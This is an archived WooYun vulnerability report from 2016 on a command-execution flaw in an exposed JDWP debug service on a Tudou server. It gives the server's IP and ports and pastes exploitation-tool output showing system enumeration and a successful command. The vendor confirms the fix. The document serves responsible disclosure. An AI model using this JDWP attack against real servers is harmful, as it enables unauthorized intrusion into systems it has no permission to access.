当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0204536

漏洞标题：土豆网某服务器存在命令执行

相关厂商：土豆网

漏洞作者： Aasron

提交时间：2016-05-03 11:48

修复时间：2016-06-17 15:40

公开时间：2016-06-17 15:40

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-03： 细节已通知厂商并且等待厂商处理中
2016-05-03： 厂商已经确认，细节仅向厂商公开
2016-05-13： 细节向核心白帽子及相关领域专家公开
2016-05-23： 细节向普通白帽子公开
2016-06-02： 细节向实习白帽子公开
2016-06-17： 细节向公众公开

简要描述：

土豆网某服务器存在命令执行

详细说明：


http://114.80.121.110:8990/login.do


土豆网公用模板集中管理平台
端口开放8000即jdwp服务，存在JDWP命令执行，但无法执行
端口9998可执行

漏洞证明：

[+] Targeting '114.80.121.110:9998'
[+] Reading settings for 'Java HotSpot(TM) Server VM - 1.6.0_03'
[+] Found Runtime class: id=7cf
[+] Found Runtime.getRuntime(): id=aab58e8
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x15af
[+] Found Java Virtual Machine specification vendor 'Sun Microsystems Inc.'
[+] Found Java Runtime Environment specification name 'Java Platform API Specifi
cation'
[+] Found Path of extension directory or directories '/usr/java/jdk1.6.0_03/jre/
lib/ext:/usr/java/packages/lib/ext'
[+] Found Java Runtime Environment specification vendor 'Sun Microsystems Inc.'
[+] Found Java Virtual Machine specification version '1.0'
[+] Found Operating system name 'Linux'
[+] Found Default temp file path '/home/istat/apache-tomcat-6.0.18/temp'
[+] Found User's current working directory '/home/istat'
[+] Found Java installation directory '/usr/java/jdk1.6.0_03/jre'
[+] Found User's account name 'istat'
[+] Found Java Virtual Machine implementation vendor 'Sun Microsystems Inc.'
[+] Found Java Runtime Environment vendor 'Sun Microsystems Inc.'
[+] Found Path separator ':'
[+] Found Java vendor URL 'http://java.sun.com/'
[+] Found Java class path ':/home/istat/apache-tomcat-6.0.18/bin/bootstrap.jar'
[+] Found Java Runtime Environment specification version '1.6'
[+] Found Operating system version '2.6.18-371.8.1.el5'
[+] Found Operating system architecture 'i386'
[+] Found Java Runtime Environment version '1.6.0_03'
[+] Found Java Virtual Machine implementation version '1.6.0_03-b05'
[+] Found Java Virtual Machine specification name 'Java Virtual Machine Specific
ation'
[+] Found File separator '/'
[-] java.compiler: Unexpected returned type: expecting String
[+] Found Java class format version number '50.0'
[+] Found List of paths to search when loading libraries '/usr/java/jdk1.6.0_03/
jre/lib/i386/server:/usr/java/jdk1.6.0_03/jre/lib/i386:/usr/java/jdk1.6.0_03/jre
/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib'
[+] Found Java Virtual Machine implementation name 'Java HotSpot(TM) Server VM'
[+] Found User's home directory '/home/istat'
[!] Command successfully executed


就不弹shell了吧

修复方案：

补丁

版权声明：转载请注明来源 Aasron@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-05-03 15:38

厂商回复：

感谢 Aasron！ 该问题我们已经确认，并联系相关人员及时进行修复了，多谢对土豆安全的关注！

最新状态：

暂无

漏洞评价：

评价